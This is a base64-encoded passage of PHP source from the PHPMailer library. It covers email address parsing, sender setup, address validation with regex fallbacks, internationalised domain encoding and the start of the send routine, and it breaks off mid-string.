ICRhZGRyZXNzZXNbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IChwcm9wZXJ0eV9leGlzdHMoJGFkZHJlc3MsICdwZXJzb25hbCcpID8gJGFkZHJlc3MtPnBlcnNvbmFsIDogJycpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2FkZHJlc3MnID0+ICRhZGRyZXNzLT5tYWlsYm94IC4gJ0AnIC4gJGFkZHJlc3MtPmhvc3QKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvL1VzZSB0aGlzIHNpbXBsZXIgcGFyc2VyCiAgICAgICAgICAgICRsaXN0ID0gZXhwbG9kZSgnLCcsICRhZGRyc3RyKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGxpc3QgYXMgJGFkZHJlc3MpIHsKICAgICAgICAgICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgICAgICAgICAvL0lzIHRoZXJlIGEgc2VwYXJhdGUgbmFtZSBwYXJ0PwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgJzwnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAvL05vIHNlcGFyYXRlIG5hbWUsIGp1c3QgdXNlIHRoZSB3aG9sZSB0aGluZwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAnJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcwogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgkbmFtZSwgJGVtYWlsKSA9IGV4cGxvZGUoJzwnLCAkYWRkcmVzcyk7CiAgICAgICAgICAgICAgICAgICAgJGVtYWlsID0gdHJpbShzdHJfcmVwbGFjZSgnPicsICcnLCAkZW1haWwpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkZW1haWwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoJyInLCAiJyIpLCAnJywgJG5hbWUpKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkZW1haWwKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRhZGRyZXNzZXM7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICRhZGRyZXNzOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5Gcm9tID0gJGFkZHJlc3M7CiAgICAgICAgJHRoaXMtPkZyb21OYW1lID0gJG5hbWU7CiAgICAgICAgaWYgKCRhdXRvKSB7CiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAgICAgJHRoaXMtPlNlbmRlciA9ICRhZGRyZXNzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIHRoZSBNZXNzYWdlLUlEIGhlYWRlciBvZiB0aGUgbGFzdCBlbWFpbC4KICAgICAqIFRlY2huaWNhbGx5IHRoaXMgaXMgdGhlIHZhbHVlIGZyb20gdGhlIGxhc3QgdGltZSB0aGUgaGVhZGVycyB3ZXJlIGNyZWF0ZWQsCiAgICAgKiBidXQgaXQncyBhbHNvIHRoZSBtZXNzYWdlIElEIG9mIHRoZSBsYXN0IHNlbnQgbWVzc2FnZSBleGNlcHQgaW4KICAgICAqIHBhdGhvbG9naWNhbCBjYXNlcy4KICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMYXN0TWVzc2FnZUlEKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhc3RNZXNzYWdlSUQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayB0aGF0IGEgc3RyaW5nIGxvb2tzIGxpa2UgYW4gZW1haWwgYWRkcmVzcy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gY2hlY2sKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdHRlcm5zZWxlY3QgQSBzZWxlY3RvciBmb3IgdGhlIHZhbGlkYXRpb24gcGF0dGVybiB0byB1c2UgOgogICAgICogKiBgYXV0b2AgUGljayBiZXN0IHBhdHRlcm4gYXV0b21hdGljYWxseTsKICAgICAqICogYHBjcmU4YCBVc2UgdGhlIHNxdWlsb29wbGUuY29tIHBhdHRlcm4sIHJlcXVpcmVzIFBDUkUgPiA4LjAsIFBIUCA+PSA1LjMuMiwgNS4yLjE0OwogICAgICogKiBgcGNyZWAgVXNlIG9sZCBQQ1JFIGltcGxlbWVudGF0aW9uOwogICAgICogKiBgcGhwYCBVc2UgUEhQIGJ1aWx0LWluIEZJTFRFUl9WQUxJREFURV9FTUFJTDsKICAgICAqICogYGh0bWw1YCBVc2UgdGhlIHBhdHRlcm4gZ2l2ZW4gYnkgdGhlIEhUTUw1IHNwZWMgZm9yICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICogKiBgbm9yZWdleGAgRG9uJ3QgdXNlIGEgcmVnZXg6IHN1cGVyIGZhc3QsIHJlYWxseSBkdW1iLgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAc3RhdGljCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcywgJHBhdHRlcm5zZWxlY3QgPSAnYXV0bycpCiAgICB7CiAgICAgICAgLy9SZWplY3QgbGluZSBicmVha3MgaW4gYWRkcmVzc2VzOyBpdCdzIHZhbGlkIFJGQzUzMjIsIGJ1dCBub3QgUkZDNTMyMQogICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICJcbiIpICE9PSBmYWxzZSBvciBzdHJwb3MoJGFkZHJlc3MsICJcciIpICE9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHBhdHRlcm5zZWxlY3Qgb3IgJHBhdHRlcm5zZWxlY3QgPT0gJ2F1dG8nKSB7CiAgICAgICAgICAgIC8vQ2hlY2sgdGhpcyBjb25zdGFudCBmaXJzdCBzbyBpdCB3b3JrcyB3aGVuIGV4dGVuc2lvbl9sb2FkZWQoKSBpcyBkaXNhYmxlZCBieSBzYWZlIG1vZGUKICAgICAgICAgICAgLy9Db25zdGFudCB3YXMgYWRkZWQgaW4gUEhQIDUuMi40CiAgICAgICAgICAgIGlmIChkZWZpbmVkKCdQQ1JFX1ZFUlNJT04nKSkgewogICAgICAgICAgICAgICAgLy9UaGlzIHBhdHRlcm4gY2FuIGdldCBzdHVjayBpbiBhIHJlY3Vyc2l2ZSBsb29wIGluIFBDUkUgPD0gOC4wLjIKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUENSRV9WRVJTSU9OLCAnOC4wLjMnKSA+PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZTgnOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXh0ZW5zaW9uX2xvYWRlZCcpIGFuZCBleHRlbnNpb25fbG9hZGVkKCdwY3JlJykpIHsKICAgICAgICAgICAgICAgIC8vRmFsbCBiYWNrIHRvIG9sZGVyIFBDUkUKICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy9GaWx0ZXJfdmFyIGFwcGVhcmVkIGluIFBIUCA1LjIuMCBhbmQgZG9lcyBub3QgcmVxdWlyZSB0aGUgUENSRSBleHRlbnNpb24KICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjIuMCcpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwaHAnOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdub3JlZ2V4JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCRwYXR0ZXJuc2VsZWN0KSB7CiAgICAgICAgICAgIGNhc2UgJ3BjcmU4JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVXNlcyB0aGUgc2FtZSBSRkM1MzIyIHJlZ2V4IG9uIHdoaWNoIEZJTFRFUl9WQUxJREFURV9FTUFJTCBpcyBiYXNlZCwgYnV0IGFsbG93cyBkb3RsZXNzIGRvbWFpbnMuCiAgICAgICAgICAgICAgICAgKiBAbGluayBodHRwOi8vc3F1aWxvb3BsZS5jb20vMjAwOS8xMi8yMC9lbWFpbC1hZGRyZXNzLXZhbGlkYXRpb24vCiAgICAgICAgICAgICAgICAgKiBAY29weXJpZ2h0IDIwMDktMjAxMCBNaWNoYWVsIFJ1c2h0b24KICAgICAgICAgICAgICAgICAqIEZlZWwgZnJlZSB0byB1c2UgYW5kIHJlZGlzdHJpYnV0ZSB0aGlzIGNvZGUuIEJ1dCBwbGVhc2Uga2VlcCB0aGlzIGNvcHlyaWdodCBub3RpY2UuCiAgICAgICAgICAgICAgICAgKi8KICAgICAgICAgICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgICAgICcvXig/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXsyNTUsfSkoPyEoPz4oPzEpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD8xKSl7NjUsfUApJyAuCiAgICAgICAgICAgICAgICAgICAgJygoPz4oPz4oPz4oKD8+KD8+KD8+XHgwRFx4MEEpP1tcdCBdKSt8KD8+W1x0IF0qXHgwRFx4MEEpP1tcdCBdKyk/KShcKCg/Pig/MiknIC4KICAgICAgICAgICAgICAgICAgICAnKD8+W1x4MDEtXHgwOFx4MEJceDBDXHgwRS1cJyotXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXXwoPzMpKSkqKD8yKVwpKSkrKD8yKSl8KD8yKSk/KScgLgogICAgICAgICAgICAgICAgICAgICcoWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/MikoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl0pKSonIC4KICAgICAgICAgICAgICAgICAgICAnKD8yKSIpKD8+KD8xKVwuKD8xKSg/NCkpKig/MSlAKD8hKD8xKVthLXowLTktXXs2NCx9KSg/MSkoPz4oW2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPyknIC4KICAgICAgICAgICAgICAgICAgICAnKD8+KD8xKVwuKD8hKD8xKVthLXowLTktXXs2NCx9KSg/MSkoPzUpKXswLDEyNn18XFsoPzooPz5JUHY2Oig/PihbYS1mMC05XXsxLDR9KSg/PjooPzYpKXs3fScgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XVs6XF1dKXs4LH0pKCg/NikoPz46KD82KSl7MCw2fSk/OjooPzcpPykpfCg/Pig/PklQdjY6KD8+KD82KSg/PjooPzYpKXs1fTonIC4KICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qW2EtZjAtOV06KXs2LH0pKD84KT86Oig/PigoPzYpKD8+Oig/NikpezAsNH0pOik/KSk/KDI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3xbMS05XT9bMC05XSkoPz5cLig/OSkpezN9KSlcXSkoPzEpJC9pc0QnLAogICAgICAgICAgICAgICAgICAgICRhZGRyZXNzCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICBjYXNlICdwY3JlJzoKICAgICAgICAgICAgICAgIC8vQW4gb2xkZXIgcmVnZXggdGhhdCBkb2Vzbid0IG5lZWQgYSByZWNlbnQgUENSRQogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXsyNTUsfSkoPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pezY1LH1AKSg/PicgLgogICAgICAgICAgICAgICAgICAgICdbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8+W1x4MDEtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4RkZdKSkqIiknIC4KICAgICAgICAgICAgICAgICAgICAnKD8+XC4oPz5bISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8+W1x4MDEtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4RkZdKSkqIikpKicgLgogICAgICAgICAgICAgICAgICAgICdAKD8+KD8hW2EtejAtOS1dezY0LH0pKD8+W2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPykoPz5cLig/IVthLXowLTktXXs2NCx9KScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSl7MCwxMjZ9fFxbKD86KD8+SVB2NjooPz4oPz5bYS1mMC05XXsxLDR9KSg/PjonIC4KICAgICAgICAgICAgICAgICAgICAnW2EtZjAtOV17MSw0fSl7N318KD8hKD86LipbYS1mMC05XVs6XF1dKXs4LH0pKD8+W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDZ9KT8nIC4KICAgICAgICAgICAgICAgICAgICAnOjooPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPykpfCg/Pig/PklQdjY6KD8+W2EtZjAtOV17MSw0fSg/PjonIC4KICAgICAgICAgICAgICAgICAgICAnW2EtZjAtOV17MSw0fSl7NX06fCg/ISg/Oi4qW2EtZjAtOV06KXs2LH0pKD8+W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDR9KT8nIC4KICAgICAgICAgICAgICAgICAgICAnOjooPz4oPzpbYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pOik/KSk/KD8+MjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg/PlwuKD8+MjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn18WzEtOV0/WzAtOV0pKXszfSkpXF0pJC9pc0QnLAogICAgICAgICAgICAgICAgICAgICRhZGRyZXNzCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICBjYXNlICdodG1sNSc6CiAgICAgICAgICAgICAgICAvKioKICAgICAgICAgICAgICAgICAqIFRoaXMgaXMgdGhlIHBhdHRlcm4gdXNlZCBpbiB0aGUgSFRNTDUgc3BlYyBmb3IgdmFsaWRhdGlvbiBvZiAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly93d3cud2hhdHdnLm9yZy9zcGVjcy93ZWItYXBwcy9jdXJyZW50LXdvcmsvI2UtbWFpbC1zdGF0ZS0odHlwZT1lbWFpbCkKICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eW2EtekEtWjAtOS4hIyQlJlwnKitcLz0/Xl9ge3x9fi1dK0BbYS16QS1aMC05XSg/OlthLXpBLVowLTktXXswLDYxfScgLgogICAgICAgICAgICAgICAgICAgICdbYS16QS1aMC05XSk/KD86XC5bYS16QS1aMC05XSg/OlthLXpBLVowLTktXXswLDYxfVthLXpBLVowLTldKT8pKiQvc0QnLAogICAgICAgICAgICAgICAgICAgICRhZGRyZXNzCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICBjYXNlICdub3JlZ2V4JzoKICAgICAgICAgICAgICAgIC8vTm8gUENSRSEgRG8gc29tZXRoaW5nIF92ZXJ5XyBhcHByb3hpbWF0ZSEKICAgICAgICAgICAgICAgIC8vQ2hlY2sgdGhlIGFkZHJlc3MgaXMgMyBjaGFycyBvciBsb25nZXIgYW5kIGNvbnRhaW5zIGFuIEAgdGhhdCdzIG5vdCB0aGUgZmlyc3Qgb3IgbGFzdCBjaGFyCiAgICAgICAgICAgICAgICByZXR1cm4gKHN0cmxlbigkYWRkcmVzcykgPj0gMwogICAgICAgICAgICAgICAgICAgIGFuZCBzdHJwb3MoJGFkZHJlc3MsICdAJykgPj0gMQogICAgICAgICAgICAgICAgICAgIGFuZCBzdHJwb3MoJGFkZHJlc3MsICdAJykgIT0gc3RybGVuKCRhZGRyZXNzKSAtIDEpOwogICAgICAgICAgICBjYXNlICdwaHAnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKWZpbHRlcl92YXIoJGFkZHJlc3MsIEZJTFRFUl9WQUxJREFURV9FTUFJTCk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogVGVsbHMgd2hldGhlciBJRE5zIChJbnRlcm5hdGlvbmFsaXplZCBEb21haW4gTmFtZXMpIGFyZSBzdXBwb3J0ZWQgb3Igbm90LiBUaGlzIHJlcXVpcmVzIHRoZQogICAgICogImludGwiIGFuZCAibWJzdHJpbmciIFBIUCBleHRlbnNpb25zLgogICAgICogQHJldHVybiBib29sICJ0cnVlIiBpZiByZXF1aXJlZCBmdW5jdGlvbnMgZm9yIElETiBzdXBwb3J0IGFyZSBwcmVzZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpZG5TdXBwb3J0ZWQoKQogICAgewogICAgICAgIC8vIEBUT0RPOiBXcml0ZSBvdXIgb3duICJpZG5fdG9fYXNjaWkiIGZ1bmN0aW9uIGZvciBQSFAgPD0gNS4yLgogICAgICAgIHJldHVybiBmdW5jdGlvbl9leGlzdHMoJ2lkbl90b19hc2NpaScpIGFuZCBmdW5jdGlvbl9leGlzdHMoJ21iX2NvbnZlcnRfZW5jb2RpbmcnKTsKICAgIH0KCiAgICAvKioKICAgICAqIENvbnZlcnRzIElETiBpbiBnaXZlbiBlbWFpbCBhZGRyZXNzIHRvIGl0cyBBU0NJSSBmb3JtLCBhbHNvIGtub3duIGFzIHB1bnljb2RlLCBpZiBwb3NzaWJsZS4KICAgICAqIEltcG9ydGFudDogQWRkcmVzcyBtdXN0IGJlIHBhc3NlZCBpbiBzYW1lIGVuY29kaW5nIGFzIGN1cnJlbnRseSBzZXQgaW4gUEhQTWFpbGVyOjokQ2hhclNldC4KICAgICAqIFRoaXMgZnVuY3Rpb24gc2lsZW50bHkgcmV0dXJucyB1bm1vZGlmaWVkIGFkZHJlc3MgaWY6CiAgICAgKiAtIE5vIGNvbnZlcnNpb24gaXMgbmVjZXNzYXJ5IChpLmUuIGRvbWFpbiBuYW1lIGlzIG5vdCBhbiBJRE4sIG9yIGlzIGFscmVhZHkgaW4gQVNDSUkgZm9ybSkKICAgICAqIC0gQ29udmVyc2lvbiB0byBwdW55Y29kZSBpcyBpbXBvc3NpYmxlIChlLmcuIHJlcXVpcmVkIFBIUCBmdW5jdGlvbnMgYXJlIG5vdCBhdmFpbGFibGUpCiAgICAgKiAgIG9yIGZhaWxzIGZvciBhbnkgcmVhc29uIChlLmcuIGRvbWFpbiBoYXMgY2hhcmFjdGVycyBub3QgYWxsb3dlZCBpbiBhbiBJRE4pCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JENoYXJTZXQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gY29udmVydAogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGVuY29kZWQgYWRkcmVzcyBpbiBBU0NJSSBmb3JtCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwdW55ZW5jb2RlQWRkcmVzcygkYWRkcmVzcykKICAgIHsKICAgICAgICAvLyBWZXJpZnkgd2UgaGF2ZSByZXF1aXJlZCBmdW5jdGlvbnMsIENoYXJTZXQsIGFuZCBhdC1zaWduLgogICAgICAgIGlmICgkdGhpcy0+aWRuU3VwcG9ydGVkKCkgYW5kCiAgICAgICAgICAgICFlbXB0eSgkdGhpcy0+Q2hhclNldCkgYW5kCiAgICAgICAgICAgICgkcG9zID0gc3RycnBvcygkYWRkcmVzcywgJ0AnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkb21haW4gPSBzdWJzdHIoJGFkZHJlc3MsICsrJHBvcyk7CiAgICAgICAgICAgIC8vIFZlcmlmeSBDaGFyU2V0IHN0cmluZyBpcyBhIHZhbGlkIG9uZSwgYW5kIGRvbWFpbiBwcm9wZXJseSBlbmNvZGVkIGluIHRoaXMgQ2hhclNldC4KICAgICAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoJGRvbWFpbikgYW5kIEBtYl9jaGVja19lbmNvZGluZygkZG9tYWluLCAkdGhpcy0+Q2hhclNldCkpIHsKICAgICAgICAgICAgICAgICRkb21haW4gPSBtYl9jb252ZXJ0X2VuY29kaW5nKCRkb21haW4sICdVVEYtOCcsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAgICAgICAgIGlmICgoJHB1bnljb2RlID0gZGVmaW5lZCgnSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYnKSA/CiAgICAgICAgICAgICAgICAgICAgaWRuX3RvX2FzY2lpKCRkb21haW4sIDAsIElOVExfSUROQV9WQVJJQU5UX1VUUzQ2KSA6CiAgICAgICAgICAgICAgICAgICAgaWRuX3RvX2FzY2lpKCRkb21haW4pKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gc3Vic3RyKCRhZGRyZXNzLCAwLCAkcG9zKSAuICRwdW55Y29kZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFkZHJlc3M7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYSBtZXNzYWdlIGFuZCBzZW5kIGl0LgogICAgICogVXNlcyB0aGUgc2VuZGluZyBtZXRob2Qgc3BlY2lmaWVkIGJ5ICRNYWlsZXIuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIGZhbHNlIG9uIGVycm9yIC0gU2VlIHRoZSBFcnJvckluZm8gcHJvcGVydHkgZm9yIGRldGFpbHMgb2YgdGhlIGVycm9yLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZCgpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCEkdGhpcy0+cHJlU2VuZCgpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5wb3N0U2VuZCgpOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyID0gJyc7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFByZXBhcmUgYSBtZXNzYWdlIGZvciBzZW5kaW5nLgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJlU2VuZCgpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJHRoaXMtPmVycm9yX2NvdW50ID0gMDsgLy8gUmVzZXQgZXJyb3JzCiAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyID0gJyc7CgogICAgICAgICAgICAvLyBEZXF1ZXVlIHJlY2lwaWVudCBhbmQgUmVwbHktVG8gYWRkcmVzc2VzIHdpdGggSUROCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X21lcmdlKCR0aGlzLT5SZWNpcGllbnRzUXVldWUsICR0aGlzLT5SZXBseVRvUXVldWUpIGFzICRwYXJhbXMpIHsKICAgICAgICAgICAgICAgICRwYXJhbXNbMV0gPSAkdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHBhcmFtc1sxXSk7CiAgICAgICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheShhcnJheSgkdGhpcywgJ2FkZEFuQWRkcmVzcycpLCAkcGFyYW1zKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoKGNvdW50KCR0aGlzLT50bykgKyBjb3VudCgkdGhpcy0+Y2MpICsgY291bnQoJHRoaXMtPmJjYykpIDwgMSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygncHJvdmlkZV9hZGRyZXNzJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBWYWxpZGF0ZSBGcm9tLCBTZW5kZXIsIGFuZCBDb25maXJtUmVhZGluZ1RvIGFkZHJlc3NlcwogICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnRnJvbScsICdTZW5kZXInLCAnQ29uZmlybVJlYWRpbmdUbycpIGFzICRhZGRyZXNzX2